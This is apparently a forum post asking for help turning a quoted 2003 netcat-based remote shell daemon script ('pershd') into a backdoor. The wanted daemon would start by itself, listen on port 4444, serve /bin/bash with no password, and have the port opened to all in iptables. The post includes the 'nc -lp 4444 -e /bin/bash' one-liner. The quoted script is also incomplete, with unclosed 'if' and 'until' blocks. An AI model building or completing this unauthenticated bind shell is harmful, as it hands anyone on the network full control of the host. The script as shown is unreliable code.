need help modifying this script, like nc -lp 4444 -e /bin/bash deamon

1 want the login part gone

2 want it to listen on 4444

3 want it to send /bin/bash on connect

4 and auto start as a daemon

5 open port 4444 to everybody in ip tables

pls help ?

Remote shell demon
With the following shellscript, you can start your personal remote shell demon:

# pershd - personal shell demon
# 2003-02-17 Johannes Franken -

# on first invocation, export $PW and $port to subshells
export PW port
if [ $1 ] ; then
echo -n pass:
read PW

# do we know the port to listen on?
if [ ! $port ]; then
echo USAGE: $0 port ;

# wait for further connections (veiling params)
echo "-l -p $port -e $0" | nc 2>/dev/null &
[ $1 ] && exit; # first invocation exit here

# ask for password
unset p
until [ "$p" = "$PW" ]; do
echo -n pass:
read p

# received good password. present a shell
bash --noediting -i

When I start this script, it asks me to tell it a password and then waits for connections in the background:

jfranken@tp:~$ ./pershd 1234